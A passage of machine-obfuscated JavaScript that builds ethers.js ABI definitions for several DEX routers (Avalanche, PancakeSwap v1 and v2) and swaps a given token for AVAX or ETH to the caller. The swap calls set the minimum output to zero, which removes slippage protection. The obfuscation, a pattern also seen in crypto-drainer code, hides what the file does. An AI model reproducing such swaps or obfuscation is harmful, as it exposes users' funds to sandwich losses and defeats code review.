internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x5ae60e = {
inputs: [_0x3af88a, _0xe32724, _0x58a115, _0x86aad4],
name: "swapExactAVAXForTokensSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x4f8674 = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x209549 = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x4917c0 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x4a643c = {
internalType: 'address',
name: 'to',
type: "address"
};
const _0x1b68fb = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x45313c = {
inputs: [_0x4f8674, _0x209549, _0x4917c0, _0x4a643c, _0x1b68fb],
name: "swapExactTokensForAVAX",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0xf1a814 = {
internalType: "uint256",
name: 'amountIn',
type: "uint256"
};
const _0x36c9de = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x2adbc8 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x1b60b8 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x3e4c56 = {
internalType: "uint256",
name: 'deadline',
type: "uint256"
};
const _0x24d70b = {
inputs: [_0xf1a814, _0x36c9de, _0x2adbc8, _0x1b60b8, _0x3e4c56],
name: "swapExactTokensForAVAXSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x398410 = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x25a2e4 = {
internalType: "uint256",
name: "amountOutMin",
type: 'uint256'
};
const _0x3e3926 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x4d0896 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x29e290 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x4a65c4 = {
inputs: [_0x398410, _0x25a2e4, _0x3e3926, _0x4d0896, _0x29e290],
name: "swapExactTokensForTokens",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x892997 = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x2a0bce = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x45c03a = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x24123e = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x54123a = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x2d5b0b = {
inputs: [_0x892997, _0x2a0bce, _0x45c03a, _0x24123e, _0x54123a],
name: "swapExactTokensForTokensSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "nonpayable",
type: "function"
};
const _0x5a95f1 = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x4660ea = {
internalType: "uint256",
name: "amountInMax",
type: "uint256"
};
const _0x7ede85 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x4afa30 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0xd8bc41 = {
internalType: "uint256",
name: "deadline",
type: 'uint256'
};
const _0x4f58d0 = {
inputs: [_0x5a95f1, _0x4660ea, _0x7ede85, _0x4afa30, _0xd8bc41],
name: "swapTokensForExactAVAX",
outputs: [{
'internalType': 'uint256[]',
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x4ac016 = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x849748 = {
internalType: "uint256",
name: "amountInMax",
type: "uint256"
};
const _0x53d763 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x2ef7e0 = {
internalType: 'address',
name: 'to',
type: "address"
};
const _0x490233 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x1cb1ec = {
inputs: [_0x4ac016, _0x849748, _0x53d763, _0x2ef7e0, _0x490233],
name: "swapTokensForExactTokens",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x8b8438 = {
stateMutability: "payable",
type: "receive"
};
let _0xc972e9 = [_0x25304b, _0x4f9c1d, _0x56282c, _0x20dee9, _0x3c8e30, _0x419131, _0x1ecf25, _0x4b4c56, _0x2c40a4, _0x419f36, _0xf44a64, _0x54fc6f, _0x424592, _0x1e0213, _0x5e2845, _0x15a78f, _0x4e55ff, _0x56fac9, _0x5ae60e, _0x45313c, _0x24d70b, _0x4a65c4, _0x2d5b0b, _0x4f58d0, _0x1cb1ec, _0x8b8438];
let _0x4d2c85 = new ethers.Contract(_0x1d9d78, _0xc972e9, _0x30ef12);
let _0x15d92e = [];
_0x15d92e[0] = _0x579e7a.asset.token;
_0x15d92e[1] = "0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7";
return _0x4d2c85.swapExactTokensForAVAX(_0x579e7a.asset.amount, 0, _0x15d92e, this.caller, _0x10922f);
}
case 'Pancake':
{
const _0x4cbfac = {
internalType: 'address',
name: '_factory',
type: 'address'
};
const _0x461e44 = {
internalType: 'address',
name: "_WETH",
type: 'address'
};
const _0x1cb354 = {
inputs: [_0x4cbfac, _0x461e44],
stateMutability: "nonpayable",
type: "constructor"
};
const _0x412bff = {
internalType: "address",
name: '',
type: "address"
};
const _0x1a9752 = {
inputs: [],
name: "WETH",
outputs: [_0x412bff],
stateMutability: 'view',
type: 'function'
};
const _0x13293d = {
internalType: 'address',
name: "tokenA",
type: 'address'
};
const _0x389db2 = {
internalType: 'address',
name: "tokenB",
type: 'address'
};
const _0x2a80a7 = {
internalType: "uint256",
name: "amountADesired",
type: "uint256"
};
const _0x22c66f = {
internalType: "uint256",
name: "amountBDesired",
type: "uint256"
};
const _0x35face = {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
};
const _0x59ac63 = {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
};
const _0x3bcfc1 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x38afa7 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x5a3145 = {
internalType: "uint256",
name: "amountA",
type: "uint256"
};
const _0x3ae6a9 = {
internalType: "uint256",
name: 'amountB',
type: "uint256"
};
const _0x14e8db = {
internalType: "uint256",
name: "liquidity",
type: 'uint256'
};
const _0x300d8e = {
inputs: [_0x13293d, _0x389db2, _0x2a80a7, _0x22c66f, _0x35face, _0x59ac63, _0x3bcfc1, _0x38afa7],
name: "addLiquidity",
outputs: [_0x5a3145, _0x3ae6a9, _0x14e8db],
stateMutability: "nonpayable",
type: 'function'
};
const _0x6b04e8 = {
internalType: "address",
name: "token",
type: 'address'
};
const _0x5a0119 = {
internalType: "uint256",
name: "amountTokenDesired",
type: "uint256"
};
const _0x27603e = {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
};
const _0x10cc37 = {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
};
const _0x598447 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x46a1a3 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x18f141 = {
inputs: [_0x6b04e8, _0x5a0119, _0x27603e, _0x10cc37, _0x598447, _0x46a1a3],
name: "addLiquidityETH",
outputs: [{
'internalType': "uint256",
'name': "amountToken",
'type': "uint256"
}, {
'internalType': "uint256",
'name': 'amountETH',
'type': "uint256"
}, {
'internalType': "uint256",
'name': "liquidity",
'type': "uint256"
}],
stateMutability: 'payable',
type: "function"
};
const _0x1048c6 = {
inputs: [],
name: "factory",
outputs: [{
'internalType': 'address',
'name': '',
'type': 'address'
}],
stateMutability: 'view',
type: 'function'
};
const _0xa80a93 = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x2b376a = {
internalType: "uint256",
name: "reserveIn",
type: "uint256"
};
const _0x1dc105 = {
internalType: "uint256",
name: "reserveOut",
type: "uint256"
};
const _0x2b5444 = {
inputs: [_0xa80a93, _0x2b376a, _0x1dc105],
name: "getAmountIn",
outputs: [{
'internalType': "uint256",
'name': "amountIn",
'type': "uint256"
}],
stateMutability: "pure",
type: 'function'
};
const _0x37e195 = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x17b67a = {
internalType: "uint256",
name: "reserveIn",
type: "uint256"
};
const _0x103b48 = {
internalType: "uint256",
name: "reserveOut",
type: "uint256"
};
const _0x21cba8 = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x4bfbdd = {
inputs: [_0x37e195, _0x17b67a, _0x103b48],
name: "getAmountOut",
outputs: [_0x21cba8],
stateMutability: "pure",
type: 'function'
};
const _0x904ed0 = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x589246 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x426068 = {
inputs: [_0x904ed0, _0x589246],
name: "getAmountsIn",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: 'view',
type: 'function'
};
const _0x44feff = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x7ac627 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x544f0d = {
inputs: [_0x44feff, _0x7ac627],
name: "getAmountsOut",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: 'view',
type: "function"
};
const _0x222948 = {
internalType: "uint256",
name: "amountA",
type: "uint256"
};
const _0x3712ab = {
internalType: "uint256",
name: "reserveA",
type: "uint256"
};
const _0x54c908 = {
internalType: "uint256",
name: "reserveB",
type: "uint256"
};
const _0x3a4cdd = {
inputs: [_0x222948, _0x3712ab, _0x54c908],
name: "quote",
outputs: [{
'internalType': 'uint256',
'name': 'amountB',
'type': "uint256"
}],
stateMutability: "pure",
type: 'function'
};
const _0x4270a6 = {
internalType: "address",
name: "tokenA",
type: 'address'
};
const _0x5b4a4c = {
internalType: 'address',
name: "tokenB",
type: 'address'
};
const _0x58aa18 = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x4958b1 = {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
};
const _0xb076fe = {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
};
const _0x37bf2f = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x540915 = {
internalType: "uint256",
name: 'deadline',
type: "uint256"
};
const _0x978c5b = {
inputs: [_0x4270a6, _0x5b4a4c, _0x58aa18, _0x4958b1, _0xb076fe, _0x37bf2f, _0x540915],
name: "removeLiquidity",
outputs: [{
'internalType': "uint256",
'name': "amountA",
'type': "uint256"
}, {
'internalType': "uint256",
'name': 'amountB',
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x3cab51 = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x21b23c = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x15f5e0 = {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
};
const _0x295cd2 = {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
};
const _0x55e5a2 = {
internalType: "address",
name: 'to',
type: "address"
};
const _0x5ed333 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x472361 = {
inputs: [_0x3cab51, _0x21b23c, _0x15f5e0, _0x295cd2, _0x55e5a2, _0x5ed333],
name: "removeLiquidityETH",
outputs: [{
'internalType': "uint256",
'name': "amountToken",
'type': 'uint256'
}, {
'internalType': "uint256",
'name': 'amountETH',
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x263889 = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x512c6e = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x3d8a78 = {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
};
const _0x15b6f5 = {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
};
const _0x2b40cd = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x2146e7 = {
internalType: "uint256",
name: "deadline",
type: 'uint256'
};
const _0x254786 = {
inputs: [_0x263889, _0x512c6e, _0x3d8a78, _0x15b6f5, _0x2b40cd, _0x2146e7],
name: "removeLiquidityETHSupportingFeeOnTransferTokens",
outputs: [{
'internalType': "uint256",
'name': 'amountETH',
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x9e7bc4 = {
internalType: "address",
name: "token",
type: 'address'
};
const _0x32a722 = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x152b4a = {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
};
const _0x158ce9 = {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
};
const _0x2bec57 = {
internalType: "address",
name: 'to',
type: "address"
};
const _0x70665d = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x402d20 = {
internalType: "bool",
name: 'approveMax',
type: 'bool'
};
const _0x1f552e = {
internalType: 'uint8',
name: 'v',
type: "uint8"
};
const _0x4c37ba = {
internalType: "bytes32",
name: 'r',
type: "bytes32"
};
const _0x258d2a = {
internalType: "bytes32",
name: 's',
type: "bytes32"
};
const _0x1b1e6b = {
inputs: [_0x9e7bc4, _0x32a722, _0x152b4a, _0x158ce9, _0x2bec57, _0x70665d, _0x402d20, _0x1f552e, _0x4c37ba, _0x258d2a],
name: "removeLiquidityETHWithPermit",
outputs: [{
'internalType': "uint256",
'name': "amountToken",
'type': "uint256"
}, {
'internalType': "uint256",
'name': 'amountETH',
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x43920d = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x598e5c = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x55bd0f = {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
};
const _0x112024 = {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
};
const _0x528697 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x4ed55d = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x57a8da = {
internalType: 'bool',
name: 'approveMax',
type: 'bool'
};
const _0x4bf4bf = {
internalType: "uint8",
name: 'v',
type: "uint8"
};
const _0x5a5d49 = {
internalType: "bytes32",
name: 'r',
type: "bytes32"
};
const _0x4b0222 = {
internalType: "bytes32",
name: 's',
type: "bytes32"
};
const _0x297e03 = {
internalType: "uint256",
name: 'amountETH',
type: "uint256"
};
const _0x1d1bb0 = {
inputs: [_0x43920d, _0x598e5c, _0x55bd0f, _0x112024, _0x528697, _0x4ed55d, _0x57a8da, _0x4bf4bf, _0x5a5d49, _0x4b0222],
name: "removeLiquidityETHWithPermitSupportingFeeOnTransferTokens",
outputs: [_0x297e03],
stateMutability: "nonpayable",
type: 'function'
};
const _0x230d25 = {
internalType: 'address',
name: "tokenA",
type: 'address'
};
const _0x19be30 = {
internalType: 'address',
name: "tokenB",
type: 'address'
};
const _0x20d041 = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x27df6b = {
internalType: 'uint256',
name: 'amountAMin',
type: "uint256"
};
const _0x4bb568 = {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
};
const _0x11ca0e = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x386be6 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x5e9012 = {
internalType: "bool",
name: 'approveMax',
type: 'bool'
};
const _0x16bea1 = {
internalType: "uint8",
name: 'v',
type: "uint8"
};
const _0x9b70bd = {
internalType: "bytes32",
name: 'r',
type: "bytes32"
};
const _0x55e29b = {
internalType: "bytes32",
name: 's',
type: "bytes32"
};
const _0x1a4a19 = {
inputs: [_0x230d25, _0x19be30, _0x20d041, _0x27df6b, _0x4bb568, _0x11ca0e, _0x386be6, _0x5e9012, _0x16bea1, _0x9b70bd, _0x55e29b],
name: "removeLiquidityWithPermit",
outputs: [{
'internalType': "uint256",
'name': "amountA",
'type': 'uint256'
}, {
'internalType': "uint256",
'name': 'amountB',
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x4b598a = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0xb4d36f = {
internalType: "address[]",
name: "path",
type: "address[]"
};
const _0x2f22e3 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0xb53ce4 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x31a46e = {
inputs: [_0x4b598a, _0xb4d36f, _0x2f22e3, _0xb53ce4],
name: "swapETHForExactTokens",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: "payable",
type: 'function'
};
const _0x440b96 = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x326479 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x5de9b3 = {
internalType: 'address',
name: 'to',
type: "address"
};
const _0x2039d1 = {
internalType: 'uint256',
name: "deadline",
type: "uint256"
};
const _0x293890 = {
inputs: [_0x440b96, _0x326479, _0x5de9b3, _0x2039d1],
name: "swapExactETHForTokens",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: "payable",
type: 'function'
};
const _0x399f0f = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x269a21 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x1ea8ba = {
internalType: 'address',
name: 'to',
type: "address"
};
const _0x297374 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x4daf8f = {
inputs: [_0x399f0f, _0x269a21, _0x1ea8ba, _0x297374],
name: "swapExactETHForTokensSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x2549e4 = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x33fc84 = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x6e1705 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x9eaa2d = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x93404e = {
internalType: "uint256",
name: 'deadline',
type: "uint256"
};
const _0x518ab6 = {
inputs: [_0x2549e4, _0x33fc84, _0x6e1705, _0x9eaa2d, _0x93404e],
name: "swapExactTokensForETH",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0xabb5b5 = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x348eab = {
internalType: 'uint256',
name: "amountOutMin",
type: "uint256"
};
const _0x45c91f = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x18d50b = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x5b6f65 = {
internalType: "uint256",
name: "deadline",
type: 'uint256'
};
const _0x3353f7 = {
inputs: [_0xabb5b5, _0x348eab, _0x45c91f, _0x18d50b, _0x5b6f65],
name: "swapExactTokensForETHSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "nonpayable",
type: "function"
};
const _0xe0d2d9 = {
internalType: "uint256",
name: "amountIn",
type: 'uint256'
};
const _0x414535 = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x55f368 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x2b5ba9 = {
internalType: 'address',
name: 'to',
type: "address"
};
const _0x59a5df = {
internalType: "uint256",
name: 'deadline',
type: "uint256"
};
const _0x2ed02f = {
inputs: [_0xe0d2d9, _0x414535, _0x55f368, _0x2b5ba9, _0x59a5df],
name: "swapExactTokensForTokens",
outputs: [{
'internalType': "uint256[]",
'name': 'amounts',
'type': "uint256[]"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x55887b = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x39d0a1 = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x2cdb8a = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x227077 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x3dd33e = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x2b99a8 = {
inputs: [_0x55887b, _0x39d0a1, _0x2cdb8a, _0x227077, _0x3dd33e],
name: "swapExactTokensForTokensSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x513bf6 = {
internalType: 'uint256',
name: "amountOut",
type: "uint256"
};
const _0x450e6f = {
internalType: "uint256",
name: "amountInMax",
type: "uint256"
};
const _0x56f2a8 = {
internalType: "address[]",
name: "path",
type: "address[]"
};
const _0x442cd7 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x339165 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0xcaeca3 = {
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
};
const _0x4c47e2 = {
inputs: [_0x513bf6, _0x450e6f, _0x56f2a8, _0x442cd7, _0x339165],
name: "swapTokensForExactETH",
outputs: [_0xcaeca3],
stateMutability: "nonpayable",
type: 'function'
};
const _0x44bac0 = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x468249 = {
internalType: 'uint256',
name: "amountInMax",
type: "uint256"
};
const _0x236716 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x4becd1 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x5520b1 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x5160cb = {
inputs: [_0x44bac0, _0x468249, _0x236716, _0x4becd1, _0x5520b1],
name: "swapTokensForExactTokens",
outputs: [{
'internalType': 'uint256[]',
'name': "amounts",
'type': 'uint256[]'
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x54b6ce = {
stateMutability: "payable",
type: "receive"
};
let _0x5b35f5 = [_0x1cb354, _0x1a9752, _0x300d8e, _0x18f141, _0x1048c6, _0x2b5444, _0x4bfbdd, _0x426068, _0x544f0d, _0x3a4cdd, _0x978c5b, _0x472361, _0x254786, _0x1b1e6b, _0x1d1bb0, _0x1a4a19, _0x31a46e, _0x293890, _0x4daf8f, _0x518ab6, _0x3353f7, _0x2ed02f, _0x2b99a8, _0x4c47e2, _0x5160cb, _0x54b6ce];
let _0x9c8ac4 = new ethers.Contract(_0x1d9d78, _0x5b35f5, _0x30ef12);
let _0x51a386 = await _0x9c8ac4.WETH();
let _0x3dd1d1 = [];
_0x3dd1d1[0] = _0x579e7a.asset.token;
_0x3dd1d1[1] = _0x51a386;
return _0x9c8ac4.swapExactTokensForETH(_0x579e7a.asset.amount, 0, _0x3dd1d1, this.caller, _0x10922f);
}
case 'PancakeV2':
{
const _0x398e42 = {
internalType: 'address',
name: '_factoryV2',
type: "address"
};
const _0x1ac323 = {
internalType: 'address',
name: "_deployer",
type: 'address'
};
const _0x29ac42 = {
internalType: "address",
name: "_factoryV3",
type: 'address'
};
const _0x2efdda = {
internalType: "address",
name: "_positionManager",
type: 'address'
};
const _0x3cfbdd = {
internalType: 'address',
name: "_stableFactory",
type: "address"
};
const _0x37a3d1 = {
internalType: 'address',
name: "_stableInfo",
type: 'address'
};
const _0x366d40 = {
internalType: "address",
name: '_WETH9',
type: 'address'
};
const _0x9ccbdc = {
inputs: [_0x398e42, _0x1ac323, _0x29ac42, _0x2efdda, _0x3cfbdd, _0x37a3d1, _0x366d40],
stateMutability: "nonpayable",
type: "constructor"
};
const _0x572f0a = {
indexed: true,
internalType: 'address',
name: "previousOwner",
type: 'address'
};
const _0x3dddf0 = {
indexed: true,
internalType: 'address',
name: "newOwner",
type: "address"
};
const _0x1fd1bf = {
anonymous: false,
inputs: [_0x572f0a, _0x3dddf0],
name: "OwnershipTransferred",
type: "event"
};
const _0x15f632 = {
indexed: true,
internalType: "address",
name: "factory",
type: 'address'
};
const _0x3646ec = {
indexed: true,
internalType: 'address',
name: "info",
type: 'address'
};
const _0x1073c2 = {
anonymous: false,
inputs: [_0x15f632, _0x3646ec],
name: "SetStableSwap",
type: "event"
};
const _0xf800cf = {
inputs: [],
name: "WETH9",
outputs: [{
'internalType': 'address',
'name': '',
'type': "address"
}],
stateMutability: "view",
type: 'function'
};
const _0x359798 = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x298953 = {
inputs: [_0x359798],
name: 'approveMax',
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x5509b1 = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x19c0c4 = {
inputs: [_0x5509b1],
name: "approveMaxMinusOne",
outputs: [],
stateMutability: 'payable',
type: 'function'
};
const _0x436509 = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x2ba740 = {
inputs: [_0x436509],
name: "approveZeroThenMax",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x51f6fd = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x350b4c = {
inputs: [_0x51f6fd],
name: "approveZeroThenMaxMinusOne",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0xffa30f = {
internalType: 'bytes',
name: 'data',
type: "bytes"
};
const _0x49c383 = {
inputs: [_0xffa30f],
name: "callPositionManager",
outputs: [{
'internalType': 'bytes',
'name': "result",
'type': 'bytes'
}],
stateMutability: "payable",
type: 'function'
};
const _0xab2b57 = {
internalType: "bytes[]",
name: 'paths',
type: "bytes[]"
};
const _0x522522 = {
internalType: "uint128[]",
name: "amounts",
type: "uint128[]"
};
const _0x19a5ca = {
internalType: "uint24",
name: "maximumTickDivergence",
type: "uint24"
};
const _0x55f23d = {
internalType: "uint32",
name: "secondsAgo",
type: "uint32"
};
const _0xb5df08 = {
inputs: [_0xab2b57, _0x522522, _0x19a5ca, _0x55f23d],
name: "checkOracleSlippage",
outputs: [],
stateMutability: 'view',
type: 'function'
};
const _0x4a07c6 = {
internalType: 'bytes',
name: 'path',
type: 'bytes'
};
const _0xb0fd6c = {
internalType: "uint24",
name: "maximumTickDivergence",
type: "uint24"
};
const _0x78f2fd = {
internalType: "uint32",
name: "secondsAgo",
type: "uint32"
};
const _0x5a4125 = {
inputs: [_0x4a07c6, _0xb0fd6c, _0x78f2fd],
name: "checkOracleSlippage",
outputs: [],
stateMutability: 'view',
type: 'function'
};
const _0x375213 = {
inputs: [],
name: 'deployer',
outputs: [{
'internalType': "address",
'name': '',
'type': 'address'
}],
stateMutability: 'view',
type: 'function'
};
const _0x180ef4 = {
internalType: 'bytes',
name: 'path',
type: 'bytes'
};
const _0x37c499 = {
internalType: 'address',
name: 'recipient',
type: 'address'
};
const _0x2140bf = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x490e86 = {
internalType: "uint256",
name: "amountOutMinimum",
type: "uint256"
};
const _0x108c9e = {
components: [_0x180ef4, _0x37c499, _0x2140bf, _0x490e86],
internalType: "struct IV3SwapRouter.ExactInputParams",
name: "params",
type: "tuple"
};
const _0x159517 = {
inputs: [_0x108c9e],
name: "exactInput",
outputs: [{
'internalType': "uint256",
'name': "amountOut",
'type': "uint256"
}],
stateMutability: "payable",
type: "function"
};
const _0x51995b = {
internalType: 'address',
name: "tokenIn",
type: 'address'
};
const _0x4e2c5a = {
internalType: 'address',
name: "tokenOut",
type: 'address'
};
const _0x11381a = {
internalType: "uint24",
name: "fee",
type: "uint24"
};
const _0x1a7417 = {
internalType: 'address',
name: "recipient",
type: "address"
};
const _0x1230e7 = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x1ec6a1 = {
internalType: "uint256",
name: "amountOutMinimum",
type: "uint256"
};
const _0x20d401 = {
internalType: "uint160",
name: "sqrtPriceLimitX96",
type: 'uint160'
};
const _0x5bcfb9 = {
components: [_0x51995b, _0x4e2c5a, _0x11381a, _0x1a7417, _0x1230e7, _0x1ec6a1, _0x20d401],
internalType: "struct IV3SwapRouter.ExactInputSingleParams",
name: "params",
type: 'tuple'
};
const _0x12e35a = {
inputs: [_0x5bcfb9],
name: "exactInputSingle",
outputs: [{
'internalType': "uint256",
'name': "amountOut",
'type': "uint256"
}],
stateMutability: "payable",
type: 'function'
};
const _0xdbb0ba = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x4233cd = {
internalType: "uint256[]",
name: "flag",
type: "uint256[]"
};
const _0x4ba686 = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x253c17 = {
internalType: 'uint256',
name: "amountOutMin",
type: "uint256"
};
const _0x9a70ad = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x3481ff = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x16b33f = {
inputs: [_0xdbb0ba, _0x4233cd, _0x4ba686, _0x253c17, _0x9a70ad],
name: "exactInputStableSwap",
outputs: [_0x3481ff],
stateMutability: "payable",
type: 'function'
};
const _0x3d67e3 = {
internalType: 'bytes',
name: 'path',
type: "bytes"
};
const _0x13354e = {
internalType: 'address',
name: 'recipient',
type: "address"
};
const _0x3a92f1 = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x19f4f6 = {
internalType: "uint256",
name: "amountInMaximum",
type: 'uint256'
};
const _0x1c60f6 = {
components: [_0x3d67e3, _0x13354e, _0x3a92f1, _0x19f4f6],
internalType: "struct IV3SwapRouter.ExactOutputParams",
name: "params",
type: "tuple"
};
const _0x50dda3 = {
inputs: [_0x1c60f6],
name: "exactOutput",
outputs: [{
'internalType': "uint256",
'name': "amountIn",
'type': "uint256"
}],
stateMutability: "payable",
type: "function"
};
const _0x430c4b = {
internalType: 'address',
name: "tokenIn",
type: 'address'
};
const _0x2c7b65 = {
internalType: 'address',
name: "tokenOut",
type: 'address'
};
const _0x44817e = {
internalType: "uint24",
name: "fee",
type: "uint24"
};
